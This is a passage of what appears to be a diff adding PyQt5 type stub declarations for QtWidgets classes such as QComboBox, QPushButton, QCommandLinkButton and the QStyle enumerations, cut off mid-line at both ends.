QtGui.QValidator) -> None: ... + def lineEdit(self) -> 'QLineEdit': ... + def setLineEdit(self, edit: 'QLineEdit') -> None: ... + def setEditable(self, editable: bool) -> None: ... + def isEditable(self) -> bool: ... + def setIconSize(self, size: QtCore.QSize) -> None: ... + def iconSize(self) -> QtCore.QSize: ... + def setMinimumContentsLength(self, characters: int) -> None: ... + def minimumContentsLength(self) -> int: ... + def setSizeAdjustPolicy(self, policy: 'QComboBox.SizeAdjustPolicy') -> None: ... + def sizeAdjustPolicy(self) -> 'QComboBox.SizeAdjustPolicy': ... + def setInsertPolicy(self, policy: 'QComboBox.InsertPolicy') -> None: ... + def insertPolicy(self) -> 'QComboBox.InsertPolicy': ... + def findData(self, data: typing.Any, role: int = ..., flags: typing.Union[QtCore.Qt.MatchFlags, QtCore.Qt.MatchFlag] = ...) -> int: ... + def findText(self, text: str, flags: typing.Union[QtCore.Qt.MatchFlags, QtCore.Qt.MatchFlag] = ...) -> int: ... + def hasFrame(self) -> bool: ... + def setFrame(self, a0: bool) -> None: ... + def setDuplicatesEnabled(self, enable: bool) -> None: ... + def duplicatesEnabled(self) -> bool: ... + def maxCount(self) -> int: ... + def setMaxCount(self, max: int) -> None: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def setMaxVisibleItems(self, maxItems: int) -> None: ... + def maxVisibleItems(self) -> int: ... + + +class QPushButton(QAbstractButton): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, icon: QtGui.QIcon, text: str, parent: typing.Optional[QWidget] = ...) -> None: ... + + def hitButton(self, pos: QtCore.QPoint) -> bool: ... + def focusOutEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def initStyleOption(self, option: 'QStyleOptionButton') -> None: ... + def showMenu(self) -> None: ... + def isFlat(self) -> bool: ... + def setFlat(self, a0: bool) -> None: ... + def menu(self) -> 'QMenu': ... + def setMenu(self, menu: 'QMenu') -> None: ... + def setDefault(self, a0: bool) -> None: ... + def isDefault(self) -> bool: ... + def setAutoDefault(self, a0: bool) -> None: ... + def autoDefault(self) -> bool: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + + +class QCommandLinkButton(QPushButton): + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, text: str, description: str, parent: typing.Optional[QWidget] = ...) -> None: ... + + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def heightForWidth(self, a0: int) -> int: ... + def sizeHint(self) -> QtCore.QSize: ... + def setDescription(self, description: str) -> None: ... + def description(self) -> str: ... + + +class QStyle(QtCore.QObject): + + class RequestSoftwareInputPanel(int): + RSIP_OnMouseClickAndAlreadyFocused = ... # type: QStyle.RequestSoftwareInputPanel + RSIP_OnMouseClick = ... # type: QStyle.RequestSoftwareInputPanel + + class StandardPixmap(int): + SP_TitleBarMenuButton = ... # type: QStyle.StandardPixmap + SP_TitleBarMinButton = ... # type: QStyle.StandardPixmap + SP_TitleBarMaxButton = ... # type: QStyle.StandardPixmap + SP_TitleBarCloseButton = ... # type: QStyle.StandardPixmap + SP_TitleBarNormalButton = ... # type: QStyle.StandardPixmap + SP_TitleBarShadeButton = ... # type: QStyle.StandardPixmap + SP_TitleBarUnshadeButton = ... # type: QStyle.StandardPixmap + SP_TitleBarContextHelpButton = ... # type: QStyle.StandardPixmap + SP_DockWidgetCloseButton = ... # type: QStyle.StandardPixmap + SP_MessageBoxInformation = ... # type: QStyle.StandardPixmap + SP_MessageBoxWarning = ... # type: QStyle.StandardPixmap + SP_MessageBoxCritical = ... # type: QStyle.StandardPixmap + SP_MessageBoxQuestion = ... # type: QStyle.StandardPixmap + SP_DesktopIcon = ... # type: QStyle.StandardPixmap + SP_TrashIcon = ... # type: QStyle.StandardPixmap + SP_ComputerIcon = ... # type: QStyle.StandardPixmap + SP_DriveFDIcon = ... # type: QStyle.StandardPixmap + SP_DriveHDIcon = ... # type: QStyle.StandardPixmap + SP_DriveCDIcon = ... # type: QStyle.StandardPixmap + SP_DriveDVDIcon = ... # type: QStyle.StandardPixmap + SP_DriveNetIcon = ... # type: QStyle.StandardPixmap + SP_DirOpenIcon = ... # type: QStyle.StandardPixmap + SP_DirClosedIcon = ... # type: QStyle.StandardPixmap + SP_DirLinkIcon = ... # type: QStyle.StandardPixmap + SP_FileIcon = ... # type: QStyle.StandardPixmap + SP_FileLinkIcon = ... # type: QStyle.StandardPixmap + SP_ToolBarHorizontalExtensionButton = ... # type: QStyle.StandardPixmap + SP_ToolBarVerticalExtensionButton = ... # type: QStyle.StandardPixmap + SP_FileDialogStart = ... # type: QStyle.StandardPixmap + SP_FileDialogEnd = ... # type: QStyle.StandardPixmap + SP_FileDialogToParent = ... # type: QStyle.StandardPixmap + SP_FileDialogNewFolder = ... # type: QStyle.StandardPixmap + SP_FileDialogDetailedView = ... # type: QStyle.StandardPixmap + SP_FileDialogInfoView = ... # type: QStyle.StandardPixmap + SP_FileDialogContentsView = ... # type: QStyle.StandardPixmap + SP_FileDialogListView = ... # type: QStyle.StandardPixmap + SP_FileDialogBack = ... # type: QStyle.StandardPixmap + SP_DirIcon = ... # type: QStyle.StandardPixmap + SP_DialogOkButton = ... # type: QStyle.StandardPixmap + SP_DialogCancelButton = ... # type: QStyle.StandardPixmap + SP_DialogHelpButton = ... # type: QStyle.StandardPixmap + SP_DialogOpenButton = ... # type: QStyle.StandardPixmap + SP_DialogSaveButton = ... # type: QStyle.StandardPixmap + SP_DialogCloseButton = ... # type: QStyle.StandardPixmap + SP_DialogApplyButton = ... # type: QStyle.StandardPixmap + SP_DialogResetButton = ... # type: QStyle.StandardPixmap + SP_DialogDiscardButton = ... # type: QStyle.StandardPixmap + SP_DialogYesButton = ... # type: QStyle.StandardPixmap + SP_DialogNoButton = ... # type: QStyle.StandardPixmap + SP_ArrowUp = ... # type: QStyle.StandardPixmap + SP_ArrowDown = ... # type: QStyle.StandardPixmap + SP_ArrowLeft = ... # type: QStyle.StandardPixmap + SP_ArrowRight = ... # type: QStyle.StandardPixmap + SP_ArrowBack = ... # type: QStyle.StandardPixmap + SP_ArrowForward = ... # type: QStyle.StandardPixmap + SP_DirHomeIcon = ... # type: QStyle.StandardPixmap + SP_CommandLink = ... # type: QStyle.StandardPixmap + SP_VistaShield = ... # type: QStyle.StandardPixmap + SP_BrowserReload = ... # type: QStyle.StandardPixmap + SP_BrowserStop = ... # type: QStyle.StandardPixmap + SP_MediaPlay = ... # type: QStyle.StandardPixmap + SP_MediaStop = ... # type: QStyle.StandardPixmap + SP_MediaPause = ... # type: QStyle.StandardPixmap + SP_MediaSkipForward = ... # type: QStyle.StandardPixmap + SP_MediaSkipBackward = ... # type: QStyle.StandardPixmap + SP_MediaSeekForward = ... # type: QStyle.StandardPixmap + SP_MediaSeekBackward = ... # type: QStyle.StandardPixmap + SP_MediaVolume = ... # type: QStyle.StandardPixmap + SP_MediaVolumeMuted = ... # type: QStyle.StandardPixmap + SP_DirLinkOpenIcon = ... # type: QStyle.StandardPixmap + SP_LineEditClearButton = ... # type: QStyle.StandardPixmap + SP_DialogYesToAllButton = ... # type: QStyle.StandardPixmap + SP_DialogNoToAllButton = ... # type: QStyle.StandardPixmap + SP_DialogSaveAllButton = ... # type: QStyle.StandardPixmap + SP_DialogAbortButton = ... # type: QStyle.StandardPixmap + SP_DialogRetryButton = ... # type: QStyle.StandardPixmap + SP_DialogIgnoreButton = ... # type: QStyle.StandardPixmap + SP_RestoreDefaultsButton = ... # type: QStyle.StandardPixmap + SP_CustomBase = ... # type: QStyle.StandardPixmap + + class StyleHint(int): + SH_EtchDisabledText = ... # type: QStyle.StyleHint + SH_DitherDisabledText = ... # type: QStyle.StyleHint + SH_ScrollBar_MiddleClickAbsolutePosition = ... # type: QStyle.StyleHint + SH_ScrollBar_ScrollWhenPointerLeavesControl = ... # type: QStyle.StyleHint + SH_TabBar_SelectMouseType = ... # type: QStyle.StyleHint + SH_TabBar_Alignment = ... # type: QStyle.StyleHint + SH_Header_ArrowAlignment = ... # type: QStyle.StyleHint + SH_Slider_SnapToValue = ... # type: QStyle.StyleHint + SH_Slider_SloppyKeyEvents = ... # type: QStyle.StyleHint + SH_ProgressDialog_CenterCancelButton = ... # type: QStyle.StyleHint + SH_ProgressDialog_TextLabelAlignment = ... # type: QStyle.StyleHint + SH_PrintDialog_RightAlignButtons = ... # type: QStyle.StyleHint + SH_MainWindow_SpaceBelowMenuBar = ... # type: QStyle.StyleHint + SH_FontDialog_SelectAssociatedText = ... # type: QStyle.StyleHint + SH_Menu_AllowActiveAndDisabled = ... # type: QStyle.StyleHint + SH_Menu_SpaceActivatesItem = ... # type: QStyle.StyleHint + SH_Menu_SubMenuPopupDelay = ... # type: QStyle.StyleHint + SH_ScrollView_FrameOnlyAroundContents = ... # type: QStyle.StyleHint + SH_MenuBar_AltKeyNavigation = ... # type: QStyle.StyleHint + SH_ComboBox_ListMouseTracking = ... # type: QStyle.StyleHint + SH_Menu_MouseTracking = ... # type: QStyle.StyleHint + SH_MenuBar_MouseTracking = ... # type: QStyle.StyleHint + SH_ItemView_ChangeHighlightOnFocus = ... # type: QStyle.StyleHint + SH_Widget_ShareActivation = ... # type: QStyle.StyleHint + SH_Workspace_FillSpaceOnMaximize = ... # type: QStyle.StyleHint + SH_ComboBox_Popup = ... # type: QStyle.StyleHint + SH_TitleBar_NoBorder = ... # type: QStyle.StyleHint + SH_ScrollBar_StopMouseOverSlider = ... # type: QStyle.StyleHint + SH_BlinkCursorWhenTextSelected = ... # type: QStyle.StyleHint + SH_RichText_FullWidthSelection = ... # type: QStyle.StyleHint + SH_Menu_Scrollable = ... # type: QStyle.StyleHint + SH_GroupBox_TextLabelVerticalAlignment = ... # type: QStyle.StyleHint + SH_GroupBox_TextLabelColor = ... # type: QStyle.StyleHint + SH_Menu_SloppySubMenus = ... # type: QStyle.StyleHint + SH_Table_GridLineColor = ... # type: QStyle.StyleHint + SH_LineEdit_PasswordCharacter = ... # type: QStyle.StyleHint + SH_DialogButtons_DefaultButton = ... # type: QStyle.StyleHint + SH_ToolBox_SelectedPageTitleBold = ... # type: QStyle.StyleHint + SH_TabBar_PreferNoArrows = ... # type: QStyle.StyleHint + SH_ScrollBar_LeftClickAbsolutePosition = ... # type: QStyle.StyleHint + SH_UnderlineShortcut = ... # type: QStyle.StyleHint + SH_SpinBox_AnimateButton = ... # type: QStyle.StyleHint + SH_SpinBox_KeyPressAutoRepeatRate = ... # type: QStyle.StyleHint + SH_SpinBox_ClickAutoRepeatRate = ... # type: QStyle.StyleHint + SH_Menu_FillScreenWithScroll = ... # type: QStyle.StyleHint + SH_ToolTipLabel_Opacity = ... # type: QStyle.StyleHint + SH_DrawMenuBarSeparator = ... # type: QStyle.StyleHint + SH_TitleBar_ModifyNotification = ... # type: QStyle.StyleHint + SH_Button_FocusPolicy = ... # type: QStyle.StyleHint + SH_MessageBox_UseBorderForButtonSpacing = ... # type: QStyle.StyleHint + SH_TitleBar_AutoRaise = ... # type: QStyle.StyleHint + SH_ToolButton_PopupDelay = ... # type: QStyle.StyleHint + SH_FocusFrame_Mask = ... # type: QStyle.StyleHint + SH_RubberBand_Mask = ... # type: QStyle.StyleHint + SH_WindowFrame_Mask = ... # type: QStyle.StyleHint + SH_SpinControls_DisableOnBounds = ... # type: QStyle.StyleHint + SH_Dial_BackgroundRole = ... # type: QStyle.StyleHint + SH_ComboBox_LayoutDirection = ... # type: QStyle.StyleHint + SH_ItemView_EllipsisLocation = ... # type: QStyle.StyleHint + SH_ItemView_ShowDecorationSelected = ... # type: QStyle.StyleHint + SH_ItemView_ActivateItemOnSingleClick = ... # type: QStyle.StyleHint + SH_ScrollBar_ContextMenu = ... # type: QStyle.StyleHint + SH_ScrollBar_RollBetweenButtons = ... # type: QStyle.StyleHint + SH_Slider_StopMouseOverSlider = ... # type: QStyle.StyleHint + SH_Slider_AbsoluteSetButtons = ... # type: QStyle.StyleHint + SH_Slider_PageSetButtons = ... # type: QStyle.StyleHint + SH_Menu_KeyboardSearch = ... # type: QStyle.StyleHint + SH_TabBar_ElideMode = ... # type: QStyle.StyleHint + SH_DialogButtonLayout = ... # type: QStyle.StyleHint + SH_ComboBox_PopupFrameStyle = ... # type: QStyle.StyleHint + SH_MessageBox_TextInteractionFlags = ... # type: QStyle.StyleHint + SH_DialogButtonBox_ButtonsHaveIcons = ... # type: QStyle.StyleHint + SH_SpellCheckUnderlineStyle = ... # type: QStyle.StyleHint + SH_MessageBox_CenterButtons = ... # type: QStyle.StyleHint + SH_Menu_SelectionWrap = ... # type: QStyle.StyleHint + SH_ItemView_MovementWithoutUpdatingSelection = ... # type: QStyle.StyleHint + SH_ToolTip_Mask = ... # type: QStyle.StyleHint + SH_FocusFrame_AboveWidget = ... # type: QStyle.StyleHint + SH_TextControl_FocusIndicatorTextCharFormat = ... # type: QStyle.StyleHint + SH_WizardStyle = ... # type: QStyle.StyleHint + SH_ItemView_ArrowKeysNavigateIntoChildren = ... # type: QStyle.StyleHint + SH_Menu_Mask = ... # type: QStyle.StyleHint + SH_Menu_FlashTriggeredItem = ... # type: QStyle.StyleHint + SH_Menu_FadeOutOnHide = ... # type: QStyle.StyleHint + SH_SpinBox_ClickAutoRepeatThreshold = ... # type: QStyle.StyleHint + SH_ItemView_PaintAlternatingRowColorsForEmptyArea = ... # type: QStyle.StyleHint + SH_FormLayoutWrapPolicy = ... # type: QStyle.StyleHint + SH_TabWidget_DefaultTabPosition = ... # type: QStyle.StyleHint + SH_ToolBar_Movable = ... # type: QStyle.StyleHint + SH_FormLayoutFieldGrowthPolicy = ... # type: QStyle.StyleHint + SH_FormLayoutFormAlignment = ... # type: QStyle.StyleHint + SH_FormLayoutLabelAlignment = ... # type: QStyle.StyleHint + SH_ItemView_DrawDelegateFrame = ... # type: QStyle.StyleHint + SH_TabBar_CloseButtonPosition = ... # type: QStyle.StyleHint + SH_DockWidget_ButtonsHaveFrame = ... # type: QStyle.StyleHint + SH_ToolButtonStyle = ... # type: QStyle.StyleHint + SH_RequestSoftwareInputPanel = ... # type: QStyle.StyleHint + SH_ListViewExpand_SelectMouseType = ... # type: QStyle.StyleHint + SH_ScrollBar_Transient = ... # type: QStyle.StyleHint + SH_Menu_SupportsSections = ... # type: QStyle.StyleHint + SH_ToolTip_WakeUpDelay = ... # type: QStyle.StyleHint + SH_ToolTip_FallAsleepDelay = ... # type: QStyle.StyleHint + SH_Widget_Animate = ... # type: QStyle.StyleHint + SH_Splitter_OpaqueResize = ... # type: QStyle.StyleHint + SH_LineEdit_PasswordMaskDelay = ... # type: QStyle.StyleHint + SH_TabBar_ChangeCurrentDelay = ... # type: QStyle.StyleHint + SH_Menu_SubMenuUniDirection = ... # type: QStyle.StyleHint + SH_Menu_SubMenuUniDirectionFailCount = ... # type: QStyle.StyleHint + SH_Menu_SubMenuSloppySelectOtherActions = ... # type: QStyle.StyleHint + SH_Menu_SubMenuSloppyCloseTimeout = ... # type: QStyle.StyleHint + SH_Menu_SubMenuResetWhenReenteringParent = ... # type: QStyle.StyleHint + SH_Menu_SubMenuDontStartSloppyOnLeave = ... # type: QStyle.StyleHint + SH_ItemView_ScrollMode = ... # type: QStyle.StyleHint + SH_TitleBar_ShowToolTipsOnButtons = ... # type: QStyle.StyleHint + SH_Widget_Animation_Duration = ... # type: QStyle.StyleHint + SH_ComboBox_AllowWheelScrolling = ... # type: QStyle.StyleHint + SH_SpinBox_ButtonsInsideFrame = ... # type: QStyle.StyleHint + SH_SpinBox_StepModifier = ... # type: QStyle.StyleHint + SH_CustomBase = ... # type: QStyle.StyleHint + + class ContentsType(int): + CT_PushButton = ... # type: QStyle.ContentsType + CT_CheckBox = ... # type: QStyle.ContentsType + CT_RadioButton = ... # type: QStyle.ContentsType + CT_ToolButton = ... # type: QStyle.ContentsType + CT_ComboBox = ... # type: QStyle.ContentsType + CT_Splitter = ... # type: QStyle.ContentsType + CT_ProgressBar = ... # type: QStyle.ContentsType + CT_MenuItem = ... # type: QStyle.ContentsType + CT_MenuBarItem = ... # type: QStyle.ContentsType + CT_MenuBar = ... # type: QStyle.ContentsType + CT_Menu = ... # type: QStyle.ContentsType + CT_TabBarTab = ... # type: QStyle.ContentsType + CT_Slider = ... # type: QStyle.ContentsType + CT_ScrollBar = ... # type: QStyle.ContentsType + CT_LineEdit = ... # type: QStyle.ContentsType + CT_SpinBox = ... # type: QStyle.ContentsType + CT_SizeGrip = ... # type: QStyle.ContentsType + CT_TabWidget = ... # type: QStyle.ContentsType + CT_DialogButtons = ... # type: QStyle.ContentsType + CT_HeaderSection = ... # type: QStyle.ContentsType + CT_GroupBox = ... # type: QStyle.ContentsType + CT_MdiControls = ... # type: QStyle.ContentsType + CT_ItemViewItem = ... # type: QStyle.ContentsType + CT_CustomBase = ... # type: QStyle.ContentsType + + class PixelMetric(int): + PM_ButtonMargin = ... # type: QStyle.PixelMetric + PM_ButtonDefaultIndicator = ... # type: QStyle.PixelMetric + PM_MenuButtonIndicator = ... # type: QStyle.PixelMetric + PM_ButtonShiftHorizontal = ... # type: QStyle.PixelMetric + PM_ButtonShiftVertical = ... # type: QStyle.PixelMetric + PM_DefaultFrameWidth = ... # type: QStyle.PixelMetric + PM_SpinBoxFrameWidth = ... # type: QStyle.PixelMetric + PM_ComboBoxFrameWidth = ... # type: QStyle.PixelMetric + PM_MaximumDragDistance = ... # type: QStyle.PixelMetric + PM_ScrollBarExtent = ... # type: QStyle.PixelMetric + PM_ScrollBarSliderMin = ... # type: QStyle.PixelMetric + PM_SliderThickness = ... # type: QStyle.PixelMetric + PM_SliderControlThickness = ... # type: QStyle.PixelMetric + PM_SliderLength = ... # type: QStyle.PixelMetric + PM_SliderTickmarkOffset = ... # type: QStyle.PixelMetric + PM_SliderSpaceAvailable = ... # type: QStyle.PixelMetric + PM_DockWidgetSeparatorExtent = ... # type: QStyle.PixelMetric + PM_DockWidgetHandleExtent = ... # type: QStyle.PixelMetric + PM_DockWidgetFrameWidth = ... # type: QStyle.PixelMetric + PM_TabBarTabOverlap = ... # type: QStyle.PixelMetric + PM_TabBarTabHSpace = ... # type: QStyle.PixelMetric + PM_TabBarTabVSpace = ... # type: QStyle.PixelMetric + PM_TabBarBaseHeight = ... # type: QStyle.PixelMetric + PM_TabBarBaseOverlap = ... # type: QStyle.PixelMetric + PM_ProgressBarChunkWidth = ... # type: QStyle.PixelMetric + PM_SplitterWidth = ... # type: QStyle.PixelMetric + PM_TitleBarHeight = ... # type: QStyle.PixelMetric + PM_MenuScrollerHeight = ... # type: QStyle.PixelMetric + PM_MenuHMargin = ... # type: QStyle.PixelMetric + PM_MenuVMargin = ... # type: QStyle.PixelMetric + PM_MenuPanelWidth = ... # type: QStyle.PixelMetric + PM_MenuTearoffHeight = ... # type: QStyle.PixelMetric + PM_MenuDesktopFrameWidth = ... # type: QStyle.PixelMetric + PM_MenuBarPanelWidth = ... # type: QStyle.PixelMetric + PM_MenuBarItemSpacing = ... # type: QStyle.PixelMetric + PM_MenuBarVMargin = ... # type: QStyle.PixelMetric + PM_MenuBarHMargin = ... # type: QStyle.PixelMetric + PM_IndicatorWidth = ... # type: QStyle.PixelMetric + PM_IndicatorHeight = ... # type: QStyle.PixelMetric + PM_ExclusiveIndicatorWidth = ... # type: QStyle.PixelMetric + PM_ExclusiveIndicatorHeight = ... # type: QStyle.PixelMetric + PM_DialogButtonsSeparator = ... # type: QStyle.PixelMetric + PM_DialogButtonsButtonWidth = ... # type: QStyle.PixelMetric + PM_DialogButtonsButtonHeight = ... # type: QStyle.PixelMetric + PM_MdiSubWindowFrameWidth = ... # type: QStyle.PixelMetric + PM_MDIFrameWidth = ... # type: QStyle.PixelMetric + PM_MdiSubWindowMinimizedWidth = ... # type: QStyle.PixelMetric + PM_MDIMinimizedWidth = ... # type: QStyle.PixelMetric + PM_HeaderMargin = ... # type: QStyle.PixelMetric + PM_HeaderMarkSize = ... # type: QStyle.PixelMetric + PM_HeaderGripMargin = ... # type: QStyle.PixelMetric + PM_TabBarTabShiftHorizontal = ... # type: QStyle.PixelMetric + PM_TabBarTabShiftVertical = ... # type: QStyle.PixelMetric + PM_TabBarScrollButtonWidth = ... # type: QStyle.PixelMetric + PM_ToolBarFrameWidth = ... # type: QStyle.PixelMetric + PM_ToolBarHandleExtent = ... # type: QStyle.PixelMetric + PM_ToolBarItemSpacing = ... # type: QStyle.PixelMetric + PM_ToolBarItemMargin = ... # type: QStyle.PixelMetric + PM_ToolBarSeparatorExtent = ... # type: QStyle.PixelMetric + PM_ToolBarExtensionExtent = ... # type: QStyle.PixelMetric + PM_SpinBoxSliderHeight = ... # type: QStyle.PixelMetric + PM_DefaultTopLevelMargin = ... # type: QStyle.PixelMetric + PM_DefaultChildMargin = ... # type: QStyle.PixelMetric + PM_DefaultLayoutSpacing = ... # type: QStyle.PixelMetric + PM_ToolBarIconSize = ... # type: QStyle.PixelMetric + PM_ListViewIconSize = ... # type: QStyle.PixelMetric + PM_IconViewIconSize = ... # type: QStyle.PixelMetric + PM_SmallIconSize = ... # type: QStyle.PixelMetric + PM_LargeIconSize = ... # type: QStyle.PixelMetric + PM_FocusFrameVMargin = ... # type: QStyle.PixelMetric + PM_FocusFrameHMargin = ... # type: QStyle.PixelMetric + PM_ToolTipLabelFrameWidth = ... # type: QStyle.PixelMetric + PM_CheckBoxLabelSpacing = ... # type: QStyle.PixelMetric + PM_TabBarIconSize = ... # type: QStyle.PixelMetric + PM_SizeGripSize = ... # type: QStyle.PixelMetric + PM_DockWidgetTitleMargin = ... # type: QStyle.PixelMetric + PM_MessageBoxIconSize = ... # type: QStyle.PixelMetric + PM_ButtonIconSize = ... # type: QStyle.PixelMetric + PM_DockWidgetTitleBarButtonMargin = ... # type: QStyle.PixelMetric + PM_RadioButtonLabelSpacing = ... # type: QStyle.PixelMetric + PM_LayoutLeftMargin = ... # type: QStyle.PixelMetric + PM_LayoutTopMargin = ... # type: QStyle.PixelMetric + PM_LayoutRightMargin = ... # type: QStyle.PixelMetric + PM_LayoutBottomMargin = ... # type: QStyle.PixelMetric + PM_LayoutHorizontalSpacing = ... # type: QStyle.PixelMetric + PM_LayoutVerticalSpacing = ... # type: QStyle.PixelMetric + PM_TabBar_ScrollButtonOverlap = ... # type: QStyle.PixelMetric + PM_TextCursorWidth = ... # type: QStyle.PixelMetric + PM_TabCloseIndicatorWidth = ... # type: QStyle.PixelMetric + PM_TabCloseIndicatorHeight = ... # type: QStyle.PixelMetric + PM_ScrollView_ScrollBarSpacing = ... # type: QStyle.PixelMetric + PM_SubMenuOverlap = ... # type: QStyle.PixelMetric + PM_ScrollView_ScrollBarOverlap = ... # type: QStyle.PixelMetric + PM_TreeViewIndentation = ... # type: QStyle.PixelMetric + PM_HeaderDefaultSectionSizeHorizontal = ... # type: QStyle.PixelMetric + PM_HeaderDefaultSectionSizeVertical = ... # type: QStyle.PixelMetric + PM_TitleBarButtonIconSize = ... # type: QStyle.PixelMetric + PM_TitleBarButtonSize = ... # type: QStyle.PixelMetric + PM_CustomBase = ... # type: QStyle.PixelMetric + + class SubControl(int): + SC_None = ... # type: QStyle.SubControl + SC_ScrollBarAddLine = ... # type: QStyle.SubControl + SC_ScrollBarSubLine = ... # type: QStyle.SubControl + SC_ScrollBarAddPage = ... # type: QStyle.SubControl + SC_ScrollBarSubPage = ... # type: QStyle.SubControl + SC_ScrollBarFirst = ... # type: QStyle.SubControl + SC_ScrollBarLast = ... # type: QStyle.SubControl + SC_ScrollBarSlider = ... # type: QStyle.SubControl + SC_ScrollBarGroove = ... # type: QStyle.SubControl + SC_SpinBoxUp = ... # type: QStyle.SubControl + SC_SpinBoxDown = ... # type: QStyle.SubControl + SC_SpinBoxFrame = ... # type: QStyle.SubControl + SC_SpinBoxEditField = ... # type: QStyle.SubControl + SC_ComboBoxFrame = ... # type: QStyle.SubControl + SC_ComboBoxEditField = ... # type: QStyle.SubControl + SC_ComboBoxArrow = ... # type: QStyle.SubControl + SC_ComboBoxListBoxPopup = ... # type: QStyle.SubControl + SC_SliderGroove = ... # type: QStyle.SubControl + SC_SliderHandle = ... # type: QStyle.SubControl + SC_SliderTickmarks = ... # type: QStyle.SubControl + SC_ToolButton = ... # type: QStyle.SubControl + SC_ToolButtonMenu = ... # type: QStyle.SubControl + SC_TitleBarSysMenu = ... # type: QStyle.SubControl + SC_TitleBarMinButton = ... # type: QStyle.SubControl + SC_TitleBarMaxButton = ... # type: QStyle.SubControl + SC_TitleBarCloseButton = ... # type: QStyle.SubControl + SC_TitleBarNormalButton = ... # type: QStyle.SubControl + SC_TitleBarShadeButton = ... # type: QStyle.SubControl + SC_TitleBarUnshadeButton = ... # type: QStyle.SubControl + SC_TitleBarContextHelpButton = ... # type: QStyle.SubControl + SC_TitleBarLabel = ... # type: QStyle.SubControl + SC_DialGroove = ... # type: QStyle.SubControl + SC_DialHandle = ... # type: QStyle.SubControl + SC_DialTickmarks = ... # type: QStyle.SubControl + SC_GroupBoxCheckBox = ... # type: QStyle.SubControl + SC_GroupBoxLabel = ... # type: QStyle.SubControl + SC_GroupBoxContents = ... # type: QStyle.SubControl + SC_GroupBoxFrame = ... # type: QStyle.SubControl + SC_MdiMinButton = ... # type: QStyle.SubControl + SC_MdiNormalButton = ... # type: QStyle.SubControl + SC_MdiCloseButton = ... # type: QStyle.SubControl + SC_CustomBase = ... # type: QStyle.SubControl + SC_All = ... # type: QStyle.SubControl + + class ComplexControl(int): + CC_SpinBox = ... # type: QStyle.ComplexControl + CC_ComboBox = ... # type: QStyle.ComplexControl + CC_ScrollBar = ... # type: QStyle.ComplexControl + CC_Slider = ... # type: QStyle.ComplexControl + CC_ToolButton = ... # type: QStyle.ComplexControl + CC_TitleBar = ... # type: QStyle.ComplexControl + CC_Dial = ... # type: QStyle.ComplexControl + CC_GroupBox = ... # type: QStyle.ComplexControl + CC_MdiControls = ... # type: QStyle.ComplexControl + CC_CustomBase = ... # type: QStyle.ComplexControl + + class SubElement(int): + SE_PushButtonContents = ... # type: QStyle.SubElement + SE_PushButtonFocusRect = ... # type: QStyle.SubElement + SE_CheckBoxIndicator = ... # type: QStyle.SubElement + SE_CheckBoxContents = ... # type: QStyle.SubElement + SE_CheckBoxFocusRect = ... # type: QStyle.SubElement + SE_CheckBoxClickRect = ... # type: QStyle.SubElement + SE_RadioButtonIndicator = ... # type: QStyle.SubElement + SE_RadioButtonContents = ... # type: QStyle.SubElement + SE_RadioButtonFocusRect = ... # type: QStyle.SubElement + SE_RadioButtonClickRect = ... # type: QStyle.SubElement + SE_ComboBoxFocusRect = ... # type: QStyle.SubElement + SE_SliderFocusRect = ... # type: QStyle.SubElement + SE_ProgressBarGroove = ... # type: QStyle.SubElement + SE_ProgressBarContents = ... # type: QStyle.SubElement + SE_ProgressBarLabel = ... # type: QStyle.SubElement + SE_ToolBoxTabContents = ... # type: QStyle.SubElement + SE_HeaderLabel = ... # type: QStyle.SubElement + SE_HeaderArrow = ... # type: QStyle.SubElement + SE_TabWidgetTabBar = ... # type: QStyle.SubElement + SE_TabWidgetTabPane = ... # type: QStyle.SubElement + SE_TabWidgetTabContents = ... # type: QStyle.SubElement + SE_TabWidgetLeftCorner = ... # type: QStyle.SubElement + SE_TabWidgetRightCorner = ... # type: QStyle.SubElement + SE_ViewItemCheckIndicator = ... # type: QStyle.SubElement + SE_TabBarTearIndicator = ... # type: QStyle.SubElement + SE_TreeViewDisclosureItem = ... # type: QStyle.SubElement + SE_LineEditContents = ... # type: QStyle.SubElement + SE_FrameContents = ... # type: QStyle.SubElement + SE_DockWidgetCloseButton = ... # type: QStyle.SubElement + SE_DockWidgetFloatButton = ... # type: QStyle.SubElement + SE_DockWidgetTitleBarText = ... # type: QStyle.SubElement + SE_DockWidgetIcon = ... # type: QStyle.SubElement + SE_CheckBoxLayoutItem = ... # type: QStyle.SubElement + SE_ComboBoxLayoutItem = ... # type: QStyle.SubElement + SE_DateTimeEditLayoutItem = ... # type: QStyle.SubElement + SE_DialogButtonBoxLayoutItem = ... # type: QStyle.SubElement + SE_LabelLayoutItem = ... # type: QStyle.SubElement + SE_ProgressBarLayoutItem = ... # type: QStyle.SubElement + SE_PushButtonLayoutItem = ... # type: QStyle.SubElement + SE_RadioButtonLayoutItem = ... # type: QStyle.SubElement + SE_SliderLayoutItem = ... # type: QStyle.SubElement + SE_SpinBoxLayoutItem = ... # type: QStyle.SubElement + SE_ToolButtonLayoutItem = ... # type: QStyle.SubElement + SE_FrameLayoutItem = ... # type: QStyle.SubElement + SE_GroupBoxLayoutItem = ... # type: QStyle.SubElement + SE_TabWidgetLayoutItem = ... # type: QStyle.SubElement + SE_ItemViewItemCheckIndicator = ... # type: QStyle.SubElement + SE_ItemViewItemDecoration = ... # type: QStyle.SubElement + SE_ItemViewItemText = ... # type: QStyle.SubElement + SE_ItemViewItemFocusRect = ... # type: QStyle.SubElement + SE_TabBarTabLeftButton = ... # type: QStyle.SubElement + SE_TabBarTabRightButton = ... # type: QStyle.SubElement + SE_TabBarTabText = ... # type: QStyle.SubElement + SE_ShapedFrameContents = ... # type: QStyle.SubElement + SE_ToolBarHandle = ... # type: 